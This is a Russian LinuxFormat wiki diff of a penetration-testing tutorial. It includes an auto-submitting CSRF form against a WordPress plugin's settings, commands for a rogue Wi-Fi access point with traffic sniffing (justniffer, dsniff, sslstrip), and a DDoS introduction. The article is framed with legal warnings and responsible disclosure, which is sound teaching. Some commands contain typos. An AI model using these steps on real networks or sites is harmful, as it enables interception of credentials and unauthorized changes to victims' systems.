Журнал LinuxFormat - перейти на главную

LXF170:Взлом сети

Материал из Linuxformat
(Различия между версиями)
Перейти к: навигация, поиск
(→‎За­щи­ти­те се­бя)
(→‎За­щи­ти­те се­бя)
 
Строка 49: Строка 49:
  
 
Ес­ли вы ис­поль­зуе­те спе­циа­ли­зи­ро­ван­ное web-при­ло­жение, вы долж­ны быть уве­ре­ны, что вам зна­ко­мы раз­ные тех­но­ло­гии, ис­поль­зуе­мые ата­кую­щи­ми. От­лич­ный стар­то­вый пункт – сайт OWASP (Open Source Web Applications Security Project – Про­ект безо­пас­но­сти web-при­ло­жений с от­кры­тым ко­дом), https://www.owasp.org. Ес­ли на ва­шем сай­те хра­нят­ся важ­ные дан­ные, сто­ит по­со­ве­то­вать­ся со спе­циа­ли­стом по по­во­ду обес­пе­чения безо­пас­но­сти их хранения.
 
Ес­ли вы ис­поль­зуе­те спе­циа­ли­зи­ро­ван­ное web-при­ло­жение, вы долж­ны быть уве­ре­ны, что вам зна­ко­мы раз­ные тех­но­ло­гии, ис­поль­зуе­мые ата­кую­щи­ми. От­лич­ный стар­то­вый пункт – сайт OWASP (Open Source Web Applications Security Project – Про­ект безо­пас­но­сти web-при­ло­жений с от­кры­тым ко­дом), https://www.owasp.org. Ес­ли на ва­шем сай­те хра­нят­ся важ­ные дан­ные, сто­ит по­со­ве­то­вать­ся со спе­циа­ли­стом по по­во­ду обес­пе­чения безо­пас­но­сти их хранения.
 +
{{Врезка|left|Ширина=98%|Заголовок= Шаг за ша­гом: На­страи­ва­ем сре­ду|Содержание='''1 Им­порт ВМ>'''
 +
 +
Щелкните (м. б. два­ж­ды) по Linux Format Vulnerable Machine.ova, за­тем щелкните по Import в диа­ло­го­вом окне.
 +
 +
'''2 За­пуск ВМ>'''
 +
 +
Два­ж­ды щелкните по но­вой ма­шине, что­бы за­пустить ее. По­сле за­груз­ки она вы­даст го­лу­бой эк­ран с раз­ны­ми URL.
 +
 +
'''3 Про­смотр сай­та'''
 +
 +
За­пусти­те web-брау­зер (дол­жен ра­бо­тать лю­бой) и ука­жи­те ему верхний URL из пре­ды­ду­ще­го ша­га. }}
 +
 +
===По­иск уяз­ви­мо­стей===
 +
 +
''Как об­на­ру­жить и ис­поль­зо­вать сла­бую сто­ро­ну ва­ше­го сай­та.''
 +
 +
Взгля­нув на ВМ LXF Vulnerable Machine, вы мо­же­те лег­ко прий­ти к вы­во­ду, что ис­поль­зо­вать уяз­ви­мо­сти очень лег­ко, зная, где они есть, а вот как их най­ти? Что­бы от­ве­тить на этот во­прос, мы по­ста­ви­ли се­бе за­да­чу най­ти и ис­поль­зо­вать уяз­ви­мо­сти на на­шем сай­те.
 +
 +
Во-пер­вых, мы уста­но­ви­ли ата­кую­щий про­кси. Этот ин­ст­ру­мент пе­ре­хва­ты­ва­ет HTTP-за­про­сы ва­ше­го брау­зе­ра и ис­поль­зу­ет их для соз­дания кар­ты сай­та, ко­то­рый вы про­смат­ри­вае­те. С его по­мо­щью вы мо­же­те по­нять, что же имен­но вы ата­куе­те, да­же ес­ли у вас нет досту­па к ис­ход­но­му ко­ду. Так­же он да­ет вам пред­став­ление об ин­фор­ма­ции, пе­ре­да­вае­мой ме­ж­ду сер­ве­ром и брау­зе­ром.
 +
 +
Мы вы­бра­ли OWASP ZAP (он име­ет­ся на http://code.google.com/p/zaproxy и на DVD) – что­бы при­менить его, про­сто рас­па­куй­те его и за­пусти­те (уста­нав­ли­вать не на­до) с по­мо­щью:
 +
 +
tar zxvf ZAP_2.0.0_Linux.tar.gz
 +
 +
cd ZAP_2.0.0
 +
 +
./zap.sh
 +
 +
Вер­сии 2.0.0 тре­бу­ет­ся Java 1.7 или вы­ше. Ес­ли у вас бо­лее ран­няя вер­сия (как по умол­чанию в Ubuntu 12.04), вы мо­же­те ис­поль­зо­вать или ZAP вер­сии 1.4.1, или са­мо­стоя­тель­но най­ти вер­сию Java по­но­вее. На на­шей ма­шине с Precise Pangolin мы уста­но­ви­ли па­кет openjdk-7-jre и из­менили конеч­ную стро­ку с zap.sh на
 +
 +
exec /usr/lib/jvm/java-7-openjdk-i386/bin/java ${JMEM}-XX:PermSize=256M -jar “{BASEDIR}/zap.jar” org.zaproxy.zap.ZAP $*
 +
 +
Эта ко­ман­да за­пустит ра­бо­ту про­кси на пор­те 8080, и вам нуж­но на­стро­ить свой брау­зер, что­бы он про­пускал свои дан­ные че­рез него. В Firefox это де­ла­ет­ся в Edit > Preferences, за­тем на­до пе­рей­ти в Advanced > Network > Settings и из­менить пе­ре­клю­ча­тель на Manual Proxy Configuration с HTTP Proxy в ка­че­­ст­ве localhost и Port 8080.
 +
 +
Те­перь вы долж­ны уви­деть од­ну или несколь­ко за­пи­сей Zap для ка­ж­дой страницы, на ко­то­рую вы за­хо­ди­те. Zap так­же по­пы­та­ет­ся по­мочь вам, от­ме­чая все пунк­ты, ко­то­рые он со­чтет уяз­ви­мы­ми, цвет­ным флаж­ком – от жел­то­го до крас­но­го, в за­ви­си­мо­сти от серь­ез­но­сти про­бле­мы (по его мнению). Флаж­ки го­лу­бо­го цве­та про­сто от­ме­ча­ют ин­фор­ма­цию. Од­на­ко эту гра­да­цию на­до принимать не без скеп­си­са. Мно­гие из от­ме­чен­ных флаж­ка­ми страниц во­все не яв­ля­ют­ся уяз­ви­мы­ми, а мно­гие, на­обо­рот, про­пуска­ют­ся (это обыч­ная про­бле­ма со все­ми ав­то­ма­ти­че­­ски­­ми сканера­ми безо­пас­но­сти, ко­то­рые мы встре­ча­ли).
 +
 +
На­стро­ив про­грам­му, мы мо­жем на­чать ата­ку. Пер­вая фа­за лю­бо­го тес­та на проник­но­вение – это сбор ин­фор­ма­ции. В ZAP есть ин­ст­ру­мен­ты для ав­то­ма­ти­че­­ско­­го сканиро­вания сай­та, но мы пред­по­чи­та­ем на­чать с руч­но­го сканиро­вания. Это оз­на­ча­ет про­смотр сай­та че­рез ваш web-брау­зер, в про­цес­се ко­то­ро­го ZAP со­став­ля­ет ка­та­лог. Чем под­робнее вы рас­смат­ри­вае­те сайт, тем боль­ше ин­фор­ма­ции вы по­лу­чи­те.
 +
 +
Про­дви­га­ясь по при­ло­жению, мы ищем век­то­ры ата­ки. В основ­ном это спо­соб пе­ре­да­чи ин­фор­ма­ции на сайт. В HTTP это про­ис­хо­дит в двух ви­дах: па­ра­мет­ры, пе­ре­да­вае­мые по за­про­сам GET (это би­ты, ко­то­рые сле­ду­ют за во­про­си­тель­ным зна­ком в URL), и за­про­сы POST (их труднее уви­деть без та­ко­го про­кси, как ZAP, но они пе­ре­чис­ле­ны во вклад­ке Requests). Лю­бые их них мож­но из­менить так, что­бы они от­прав­ля­ли лю­бую нуж­ную нам ин­фор­ма­цию. Как вы ви­ди­те на при­ме­ре атак на блог WordPress, хо­ро­шо про­ду­ман­ные и ор­ганизо­ван­ные вре­до­носные дан­ные мо­гут иногда про­скольз­нуть на сайт, ес­ли он не про­ве­ря­ет вхо­дя­щие дан­ные долж­ным об­ра­зом.
 +
 +
По­лу­чив пол­ное пред­став­ление о сво­ей жерт­ве, мож­но при­сту­пать к по­ис­ку мес­та для на­шей ата­ки. Да­же на та­ком про­стом сай­те WordPress, как наш, есть сотни век­то­ров, ко­то­рые мы мо­жем рас­смот­реть, но боль­шин­ст­во не бу­дут уяз­ви­мы. Ча­стью ис­кусст­ва взло­ма сай­тов яв­ля­ет­ся осоз­нание то­го, на ка­ких век­то­рах сто­ит скон­цен­три­ро­вать­ся. На­при­мер, мож­но бы по­про­бо­вать ата­ко­вать па­ра­метр page_id, имею­щий­ся на боль­шин­ст­ве страниц, но на WordPress он на­столь­ко ва­жен, что явно под­вер­гал­ся тща­тельней­ше­му рас­смот­рению. Мо­жет, он и уяз­вим, но ско­рее все­го сла­дить с ним не так-то про­сто. Луч­ше по­ис­кать сла­бо­сти в менее ис­поль­зуе­мых об­лас­тях. Ис­то­ри­че­­ски сло­жи­лось, что до­полнения всегда бы­ли ку­да бо­лее пло­до­твор­ной поч­вой для ата­кую­ще­го, чем основ­ное при­ло­жение.
 +
 +
===Под­дел­ка меж­сай­то­вых за­про­сов===
 +
 +
Мы об­ра­ти­ли внимание, что ZAP пе­ре­чис­лил ряд страниц, уяз­ви­мых для под­дел­ки меж­сай­то­вых за­про­сов (Cross Site Request Forgery, CSRF), во вклад­ке Alerts. Это спо­соб ата­ки, при ко­то­ром вы об­ман­ным пу­тем за­став­ляе­те web-при­ло­жение при­нять вхо­дя­щие дан­ные, соз­да­вая дру­гой сайт, ко­то­рый ими­ти­ру­ет HTTP-за­прос web-при­ло­жения. Ес­ли по­сле это­го ау­тен­ти­фи­ци­ро­ван­ный поль­зо­ва­тель от­кро­ет ваш вре­до­носный сайт, его брау­зер от­пра­вит его ау­тен­ти­фи­ка­ци­он­ные cookie, бла­го­да­ря ко­то­рым ваш вре­до­носный за­прос HTTP бу­дет вы­полнен поль­зо­ва­те­лем (не пе­ре­жи­вай­те, ес­ли это все по­ка­за­лось вам тем­ным: все станет яс­но по ме­ре то­го, как мы бу­дем раз­би­рать суть ата­ки).
 +
 +
Обыч­но WordPress оста­нав­ли­ва­ет этот вид ата­ки с по­мо­щью “nonce”. Это слу­чай­ным об­ра­зом вы­бран­ное чис­ло, на­прав­ляе­мое в брау­зер при соз­дании фор­мы. Ес­ли с дан­ны­ми фор­мы на­зад на сер­вер пе­ре­да­ет­ся то же чис­ло, сер­вер зна­ет, что фор­ма пред­став­ле­на поль­зо­ва­те­лем на сай­те. Ес­ли нет – сер­вер понима­ет, что фор­ма пред­став­ле­на дру­гим сай­том, и про­сто сбра­сы­ва­ет дан­ные. Од­на­ко мы за­ме­ти­ли, что на од­ной из страниц нет nonce – в про­стом за­про­се HTTP POST, раз­ре­шен­ном с по­мо­щью cookie. А зна­чит, лю­бая фор­ма HTML (неза­ви­си­мо от то­го, на ка­ком сай­те она бы­ла) мо­жет пред­ста­вить дан­ные этой час­ти при­ло­жения. Вы­гля­де­ло иде­аль­ной це­лью для CSRF-ата­ки. Об­су­ж­дае­мая страница бы­ла на­строй­ка­ми для Ungallery (за­прос см. на рис. 1).
 +
 +
Хит­рость те­перь за­клю­ча­лась в соз­дании но­вой страницы, ко­то­рая бы генери­ро­ва­ла иден­тич­ный за­прос HTTP. Это был за­прос POST, и имен­но его про­ще все­го под­де­лать с по­мо­щью фор­мы HTML. Мы соз­да­ли но­вый файл, со­дер­жа­щий сле­дую­щее:
 +
 +
<html>
 +
 +
<head>
 +
 +
<title>Test site for csrf in Ungallery</title>
 +
 +
</head>
 +
 +
<body>
 +
 +
<form action=”http://site-url/wp-admin/options-general.php?page=ungallerysettings” method=”POST”>
 +
 +
<input type=”hidden” name=”mt_submit_hidden” value=”Y”>
 +
 +
<input type=”hidden” name=”images_path” value=”%2Froot%2Fimages%2F”>
 +
 +
<input type=”hidden” name=”URI” value=”http%3A%2F%2F 192.168.133.143%2F”>
 +
 +
<input type=”hidden” name=”gallery” value=”%3Fpage_id%3D9”>
 +
 +
<input type=”hidden” name=”cache_dir” value=”%2Fvar%2F www%2Fwordpress%2Fwp-content%2Fcache%2F”>
 +
 +
<input type=”hidden” name=”columns” value=”5”>
 +
 +
<input type=”hidden” name=”thumbnail” value=”190”>
 +
 +
<input type=”hidden” name=”browse_view” value=”440”>
 +
 +
<input type=”hidden” name=”hidden” value=”hidden”>
 +
 +
<input type=”hidden” name=”gallery2” value=””>
 +
 +
<input type=”hidden” name=”images2_path” value=””>
 +
 +
<input type=”hidden” name=”gallery3” value=””>
 +
 +
<input type=”hidden” name=”images3_path” value=””>
 +
 +
<input type=”hidden” name=”gallery4” value=””>
 +
 +
<input type=”hidden” name=”images4_path” value=””>
 +
 +
<input type=”hidden” name=”gallery5” value=””>
 +
 +
<input type=”hidden” name=”images5_path” value=””>
 +
 +
<input type=”hidden” name=”gallery6” value=””>
 +
 +
<input type=”hidden” name=”images6_path” value=””>
 +
 +
<input type=”hidden” name=”Submit” value=”Save+Changes”>
 +
 +
</form>
 +
 +
<script>document.forms[0].submit();</script>
 +
 +
</body>
 +
 +
</head>
 +
 +
Как вы мо­же­те ви­деть, это но­вая фор­ма HTML, ко­то­рая пред­став­ля­ет дан­ные на страницу на­стро­ек Ungallery. По­сколь­ку здесь нет nonce, Ungallery ав­то­ма­ти­че­­ски при­мет его, ес­ли бу­дет иметь со­от­вет­ст­вую­щий cookie. Ес­ли нек­то с пра­ва­ми ад­минист­ра­то­ра от­кро­ет файл, он мо­жет из­менить на­строй­ки. При на­стоя­щей ата­ке это мож­но сде­лать, от­пра­вив по элек­трон­ной поч­те зав­ле­ка­тель­ную ссыл­ку ад­минист­ра­то­ру или оста­вив где-нибудь в об­ще­ст­вен­ном мес­те флэш­ку USB со скрип­том autorun. Конеч­но, это не са­мая вре­до­носная ата­ка, но ею мож­но восполь­зо­вать­ся, что­бы сде­лать от­кры­ты­ми изо­бра­жения, ко­то­рые долж­ны бы­ли хранит­ся в сек­ре­те.
 +
 +
Ис­то­рия на этом, конеч­но же, не за­кан­чи­ва­ет­ся. Мы в Linux Format при­дер­жи­ва­ем­ся по­ли­ти­ки от­вет­ст­вен­но­го раз­гла­шения. Это оз­на­ча­ет, что хо­тя мы и ра­ды пуб­ли­ко­вать под­роб­ную ин­фор­ма­цию об уяз­ви­мо­стях, все же сна­ча­ла мы обя­за­тель­но из­ве­ща­ем раз­ра­бот­чи­ка.
 +
 +
Как ви­ди­те, про­цесс об­на­ру­жения уяз­ви­мо­стей тре­бу­ет знания то­го, что имен­но ис­кать, и на­хо­ж­дения при­ло­жений для это­го. Это мо­жет быть дол­гий и мед­лен­ный про­цесс. Есть ав­то­ма­ти­че­­ские сканеры (вро­де то­го, что вклю­чен в ZAP), но все же на­мно­го луч­ше де­лать это вруч­ную – так виднее, что про­ис­хо­дит. Мно­гие тес­ти­ров­щи­ки на проник­но­вение пред­по­чи­та­ют руч­ную ра­бо­ту, это по­зво­ля­ет им до­би­вать­ся ку­да луч­ших ре­зуль­та­тов, чем ав­то­ма­ти­че­ским сканерам.
 +
 +
===По­сред­ник===
 +
 +
''Как под­верг­нуть ата­ке от­дель­ный web-брау­зер.''
 +
 +
По­ка мы рас­смот­ре­ли толь­ко ата­ку на сайт, но это лишь по­ло­ви­на ис­то­рии. Мы мо­жем так­же под­верг­нуть ата­ке че­ло­ве­ка, ко­то­рый на­хо­дит­ся в се­ти. Одним из спо­со­бов сде­лать это яв­ля­ет­ся XSS (на­при­мер, тот, что воз­мо­жен в ВМ WordPress), но мы сей­час скон­цен­три­ру­ем­ся на хи­щении дан­ных.
 +
 +
Для это­го есть несколь­ко спо­со­бов. На­при­мер, мож­но уста­но­вить на ком­пь­ю­тер вре­до­носное ПО и ис­поль­зо­вать его для пе­ре­хва­та се­те­во­го тра­фи­ка. Од­на­ко в на­шей ста­тье мы восполь­зу­ем­ся про­стей­шим спо­со­бом: раз­мес­тим вре­до­носный ком­пь­ю­тер ме­ж­ду жерт­вой и Ин­тернетом, что­бы весь тра­фик шел че­рез него. Это на­зы­ва­ет­ся ата­кой ти­па «По­средник» (Man In The Middle, MITM). Мо­же­те со­вер­шить ее с по­мо­щью се­те­вых ка­бе­лей, мо­же­те да­же вир­ту­аль­но со­вер­шить ее с по­мо­щью ата­ки ARP-spoofing; ну, а мы об­ра­тим­ся к Wi-Fi.
 +
 +
Как и все ата­ки, опи­сан­ные в этой ста­тье, зло­упот­реб­ление дан­ной ата­кой яв­ля­ет­ся неза­кон­ным в боль­шин­ст­ве стран. Это не оз­на­ча­ет зло­упот­реб­ление дан­ны­ми, это оз­на­ча­ет кра­жу дан­ных как та­ко­вую.
 +
 +
Что­бы про­тес­ти­ро­вать ата­ку, мы взя­ли нетбук, под­клю­чен­ный к Ethernet, для соз­дания бес­про­вод­ной точ­ки досту­па – лю­ди поль­зу­ют­ся та­ки­ми для со­единения с се­тью в ка­фе, да­же не за­ду­мы­ва­ясь о безопасности.
 +
 +
Во-пер­вых, нуж­на про­грам­ма на­строй­ки точ­ки досту­па. Мы ис­поль­зо­ва­ли hostapd. Она име­ет­ся в ре­по­зи­то­ри­ях неко­то­рых ди­ст­ри­бу­ти­вов, и доступ­на на http://hostap.epitest.fi/hostapd/. Вам так­же по­на­до­бит­ся DHCP-сер­вер – он по­зво­лит убе­дить­ся, что кли­ен­ты, со­единен­ные с ва­шей точ­кой досту­па, мо­гут по­лу­чить IP-ад­ре­са. Мы ис­поль­зо­ва­ли dhcpd3 (из па­ке­та dhcpd3-server в Ubuntu).
 +
 +
Обе­им про­грам­мам нуж­ны фай­лы на­строй­ки. Фай­лы для при­ме­ра вы най­де­те в tar-ар­хи­ве ко­да он­лайн на www.linuxformat.com/archive.
 +
 +
Ус­та­но­вив про­грам­му и най­дя файл на­строй­ки, на­строй­те свою точ­ку досту­па с по­мо­щью
 +
 +
sudo hostapd –Bdd hostapdl.conf
 +
 +
sudo dhcpd -4 –cf dhcp2.conf wlan0
 +
 +
Воз­мож­но, при­дет­ся до­ба­вить путь к двум фай­лам .conf, ес­ли их нет в те­ку­щей ди­рек­то­рии.
 +
 +
Вам нуж­но ве­леть сво­ей ма­шине пе­ре­на­пра­вить ин­тернет-
 +
со­единения на дру­гое се­те­вое со­единение; в про­тив­ном слу­чае лю­бая ма­ши­на, ко­то­рая со­еди­ня­ет­ся с ва­ми, не смо­жет по­лу­чить доступ к Ин­тернет.
 +
 +
sudo bash
 +
 +
echo “1” >/proc/sys/net/ipv4/ip_froward
 +
 +
iptables –t nat –A POSTROUTING –o eth0 –j MASQUERADE
 +
 +
Ве­ро­ят­но, са­мое уди­ви­тель­ное в Ин­тернете то, что боль­шая часть ин­фор­ма­ции не шиф­ру­ет­ся. Она про­сто от­прав­ля­ет­ся как обыч­ный текст, ко­то­рый мо­жет про­чи­тать лю­бой MITM без вся­ких про­блем со взло­мом шиф­ра.
 +
 +
Wireshark – от­лич­ный ин­ст­ру­мент для про­смот­ра дан­ных, про­хо­дя­щих че­рез ваш вре­до­носный ком­пь­ю­тер на уровне па­ке­тов, но боль­шую часть вре­мени нам не нуж­но уг­луб­лять­ся до это­го уров­ня. Вме­сто это­го мож­но ис­поль­зо­вать justniffer для воссоз­дания все­го се­те­во­го тра­фи­ка, про­хо­дя­ще­го че­рез на­шу вре­до­носную точ­ку досту­па.
 +
 +
Обыч­но этот ин­ст­ру­мент не вклю­ча­ет­ся в ре­по­зи­то­рии ди­ст­ри­бу­ти­вов. Что­бы уста­но­вить его в Ubuntu, до­бавь­те PPA:
 +
 +
sudo add-apt-repository ppa:oreste-notelli/ppa
 +
 +
sudo apt-get update
 +
 +
sudo apr-get install justniffer
 +
 +
В дру­гих ди­ст­ри­бу­ти­вах при­дет­ся ком­пи­ли­ро­вать его са­мо­стоя­тель­но. Под­роб­но­сти см. на http://justniffer.sourceforge.net/#!/install
 +
 +
Есть ряд оп­ций, по­зво­ляю­щих вы­пол­нять са­мые раз­ные ви­ды се­те­во­го монито­рин­га. Мы со­би­ра­ем­ся ис­поль­зо­вать его спо­соб­ность воссоз­да­вать web-страницы, ко­то­рые он ви­дит. Сна­ча­ла соз­дай­те ди­рек­то­рию дан­ных. В дан­ном при­ме­ре она бу­дет в до­машней ди­рек­то­рии ав­то­ра, но мо­жет на­хо­дить­ся где угод­но (непло­хо раз­мес­тить ее на от­дель­ном дис­ке, ес­ли вы планируе­те оста­вить ее ра­бо­тать на неко­то­рое вре­мя).
 +
 +
mkdir /home/ben/data
 +
 +
sudo justniffer-grab-http-traffic -d /home/ben/data -U ben -i wlan0
 +
 +
В обо­их стро­ках нуж­но за­менить ben на свое имя поль­зо­ва­те­ля. Оп­ция -U ко­ман­ду­ет, под ка­ким поль­зо­ва­те­лем со­хра­нять фай­лы.
 +
 +
Ес­ли вы со­единились с точ­кой досту­па че­рез ком­пь­ю­тер, план­шет или те­ле­фон и бро­ди­те по се­ти, вы долж­ны ви­деть ди­рек­то­рию дан­ных, за­пол­няе­мую фай­ла­ми для ка­ж­дой про­смот­рен­ной неза­шиф­ро­ван­ной страницы. Сю­да вхо­дит со­дер­жание всех про­чи­тан­ных пи­сем, пе­ре­дан­ных без ис­поль­зо­вания HTTPS (Gmail ис­поль­зу­ет его, и по­это­му пись­ма с него не бу­дут про­чи­та­ны; а боль­шин­ст­во осталь­ных сай­тов– нет).
 +
 +
Конеч­но, не все, что вы хо­ти­те пе­ре­хва­тить, про­хо­дит че­рез HTTP, и мно­гие дру­гие по­пу­ляр­ные про­то­ко­лы тоже не за­шиф­ро­ва­ны (на­при­мер, FTP и Telnet). На ваше сча­стье, есть и ин­ст­ру­менты, спо­соб­ные по­мочь вам ата­ко­вать их. На­при­мер, dsniff (http://monkey.org/~dugsong/dsniff) вы­та­щит из се­те­во­го тра­фи­ка все неза­шиф­ро­ван­ные па­ро­ли.
 +
 +
Оба эти ин­ст­ру­мен­та пас­сив­ны, то есть про­сто де­ла­ют ко­пии дан­ных, никак ина­че на них не воз­дей­ст­вуя. Мы мо­жем несколь­ко из­менить си­туа­цию, но для это­го при­дет­ся при­бег­нуть к ак­тив­ной ата­ке, в ча­ст­но­сти, к sslstrip.
 +
 +
sslstrip ис­поль­зу­ет са­му суть се­те­вых ссы­лок и тот факт, что неко­то­рые страницы за­шиф­ро­ва­ны, а неко­то­рые – нет. В основ­ном он от­сле­жи­ва­ет весь неза­шиф­ро­ван­ный тра­фик и ждет ссыл­ки или пе­ре­ад­ре­са­ции на сай­ты HTTPS, а за­тем на­чи­на­ет ата­ку MITM: sslstrip за­пра­ши­ва­ет безо­пас­ную вер­сию сай­та и вы­да­ет ее брау­зе­ру в ви­де про­сто­го HTTP.
 +
 +
Сайт мо­жет за­бло­ки­ро­вать по­доб­ную ата­ку, од­на­ко в це­ли на­шей ста­тьи не вхо­дит рас­смот­рение это­го про­цес­са. Од­на­ко мы об­на­ру­жи­ли, что неко­то­рые по­пу­ляр­ные сай­ты (вклю­чая Facebook и Yahoo) ока­за­лись уяз­ви­мы. Мы со­об­щи­ли об этой про­бле­ме ко­ман­дам безо­пас­но­сти этих сай­тов. Facebook нам от­ве­тил, что они ре­ко­мен­ду­ют вклю­чить на­строй­ки безо­пас­но­сти брау­зе­ра. Од­на­ко оста­но­вить ата­ку им не уда­ст­ся, и когда мы со­об­щи­ли об этом, нам ниче­го не от­ве­ти­ли. А от Yahoo от­ве­та во­об­ще не поступи­ло.
 +
 +
===Шиф­руй­тесь===
 +
 +
Вы мо­же­те рас­смат­ри­вать Ин­тернет как сво­его ро­да поч­то­вый сер­вис. Обыч­но дан­ные пе­ре­да­ют­ся неза­шиф­ро­ван­ны­ми, и это по­хо­же на пе­ре­сыл­ку от­крыт­ки. Про­чи­тать ее мо­жет мно­же­ст­во лю­дей, с мо­мен­та от­прав­ки и до мо­мен­та достав­ки, и то же мож­но ска­зать и об ин­фор­ма­ции, от­прав­ляе­мой че­рез HTTP, FTP, Telnet. Иногда это не име­ет зна­чения – вам, ве­ро­ят­но, на­пле­вать, ес­ли поч­таль­он ва­шей ба­буш­ки уз­на­ет, что над всей Ис­панией без­об­лач­ное небо – но иногда и важ­но; и вы вряд ли за­хо­ти­те, что­бы поч­таль­он уз­нал ва­ши бан­ков­ские ре­к­ви­зи­ты. То же са­мое мож­но ска­зать и о дан­ных он­лайн. Ес­ли вы не хо­ти­те, что­бы ва­ши дан­ные бы­ли доступ­ны для ши­ро­кой пуб­ли­ки, ис­поль­зуй­те за­шиф­ро­ван­ный про­то­кол (HTTPS, SFTP, SSH, SCP и т. п.).
 +
 +
Что­бы несколь­ко уп­ро­стить эту за­да­чу, Electronic Frontier Foundation (EFF) соз­да­ли рас­ши­рение для Firefox (вер­сия для Chrome на­хо­дит­ся на аль­фа-ста­дии раз­ра­бот­ки) под на­званием HTTPS Everywhere. Оно обес­пе­чи­ва­ет ис­поль­зо­вание по умол­чанию за­шиф­ро­ван­ной вер­сии сай­та, ес­ли та­ко­вая су­ще­ст­вует. Ес­ли у сай­та нет за­шиф­ро­ван­ной вер­сии, то оно бу­дет ра­бо­тать с неза­шиф­ро­ван­ной, так что бди­тель­ность те­рять все рав­но не советуем.
 +
 +
Как мы ви­де­ли бла­го­да­ря sslstrip, нуж­но быть крайне осто­рож­ным при ис­поль­зо­вании от­кры­той се­ти, да­же ес­ли сайт за­шиф­ро­ван. Пре­ж­де чем вво­дить ка­кую-ли­бо ин­фор­ма­цию, убе­ди­тесь, что вы ис­поль­зуе­те HTTPS.
 +
 +
За­шиф­ро­ван­ные про­то­ко­лы со­хра­ня­ют кон­фи­ден­ци­аль­ность дан­ных, но они не скры­ва­ют, ка­кие сер­ве­ры вы ис­поль­зуе­те. На­при­мер, зло­умыш­ленник мо­жет уз­нать, что вы ис­поль­зуе­те gmail.com, но не смо­жет уз­нать, под ка­ким именем поль­зо­ва­те­ля вы ра­бо­тае­те или ка­кие со­об­щения по элек­трон­ной поч­те по­лу­чае­те или от­прав­ляе­те. Ес­ли по­ми­мо шиф­ро­вания вам нуж­на и аноним­ность, поль­зуй­тесь VPN или Tor (https://www.torproject.org/). Помните, что для обес­пе­чения долж­ной за­щи­ты и в этом случае все рав­но на­до ис­поль­зо­вать про­то­кол с шиф­ро­ванием.
 +
 +
> sstrtip со­хра­ня­ет ко­пию все­го неза­шиф­ро­ван­но­го тра­фи­ка. Обычная ко­ман­да grep мо­жет най­ти лю­бые дан­ные иден­ти­фи­ка­ции (не радуйтесь: это не на­стоя­щие учет­ные за­пи­си).
 +
 +
{{Врезка|left|Ширина=98%|Заголовок= Взлом сер­ти­фи­ка­тов |Содержание=Все ви­ды шиф­ро­вания осно­ва­ны на ис­поль­зо­вании клю­чей. Это нечто вро­де па­ро­лей, по­зво­ляю­щих рас­шиф­ро­вать до­ку­мент. Всегда нуж­но обес­пе­чить обе сто­ро­ны необ­хо­ди­мы­ми клю­ча­ми, что­бы рас­шиф­ро­вать ин­фор­ма­цию. В се­ти ис­поль­зу­ют­ся се­ти­фи­ка­ты. Эти сер­ти­фи­ка­ты соз­да­ют­ся удо­сто­ве­ряю­щи­ми цен­тра­ми, и га­ран­ти­ру­ют, что по­лу­чае­мые дан­ные (и ис­поль­зуе­мые клю­чи) дей­ст­ви­тель­но пе­ре­да­ны с за­яв­лен­но­го сай­та. Про­цесс сер­ти­фи­ка­ции сай­тов от­крыт для на­па­дения. На­при­мер, ес­ли вы мо­же­те за­гру­зить в брау­зер сер­ти­фи­кат соб­ст­вен­но­го удо­сто­ве­ряю­ще­го цен­тра, вы за­тем смо­же­те соз­дать соб­ст­вен­ные под­дель­ные сер­ти­фи­ка­ты, ко­то­рым брау­зер бу­дет до­ве­рять. Сде­лав это, вы за­тем смо­же­те ор­ганизо­вать ата­ку «По­средника», ис­поль­зуя под­дель­ный сер­ти­фи­кат.
 +
 +
Что­бы по­мочь тес­ти­ров­щи­кам взло­ма с шиф­ро­ван­ны­ми сай­та­ми, ZAP уме­ет соз­да­вать та­кие удо­сто­ве­ряю­щие цен­тры и за­пускать ата­ки с их по­мо­щью. Есть так­же ряд ком­мер­че­­ских про­кси, соз­дан­ных, что­бы де­лать это ши­ро­ко­мас­штаб­но, что­бы (на­при­мер) ком­пании мог­ли уз­навать, чем их со­трудники занима­ются он­лайн.
 +
 +
Вы­вод та­кой: ес­ли кто-то еще кон­тро­ли­ру­ет ваш ком­пь­ю­тер, он мо­жет сле­дить за всем, что вы от­прав­ляе­те по се­ти, неза­ви­си­мо от шиф­ро­вания HTTPS.
 +
}}
 +
===DDoS===
 +
 +
''Со­кру­ши­те на­ме­чен­ный сер­вер.''
 +
 +
Distributed Denial of Service (DDoS), ве­ро­ят­но, са­мый раз­рек­ла­ми­ро­ван­ный вид ата­ки за по­следнее вре­мя. Anoni­mous и про­чие ха­кер­ст­вую­щие кол­лек­ти­вы при­бе­га­ли к нему для атак на пра­ви­тель­ст­ва, фи­нан­со­вые уч­ре­ж­дения и про­чие ор­ганиза­ции, ко­то­рые в чем-то им на­со­ли­ли. Хоть это и не так рек­ла­ми­ро­ва­лось, но DOS так­же стал ору­жи­ем, ко­то­рое ис­поль­зо­ва­ли кри­ми­наль­ные эле­мен­ты. Од­на­ко пре­ж­де чем го­во­рить о при­чи­нах это­го, да­вай­те рас­смот­рим, что та­кое DDoS-ата­ки и как они ра­бо­та­ют.
 +
 +
В об­щих чер­тах, DDoS-ата­ка не по­зво­ля­ет сер­ве­ру вы­пол­нять свои обыч­ные функ­ции, от­ка­зы­вая та­ким об­ра­зом поль­зо­ва­те­лям в об­слу­жи­вании. Обыч­но это web-сер­вер, но необя­за­тель­но. Это де­ла­ет­ся не по­сред­ст­вом взло­ма ком­пь­ю­те­ра или по­лу­чения досту­па, а пе­ре­груз­кой сер­ве­ра боль­шим по­то­ком за­про­сов.
 +
 +
На­при­мер, ата­кую­щий мо­жет пе­ре­гру­зить се­те­вое со­единение сер­ве­ра фик­тив­ны­ми дан­ны­ми, и ника­кие полезные па­ке­ты про­скольз­нуть не смо­гут, или он мо­жет за­хва­тить все цик­лы CPU, и сер­вер не смо­жет об­ра­ба­ты­вать дру­гие за­про­сы.
 +
 +
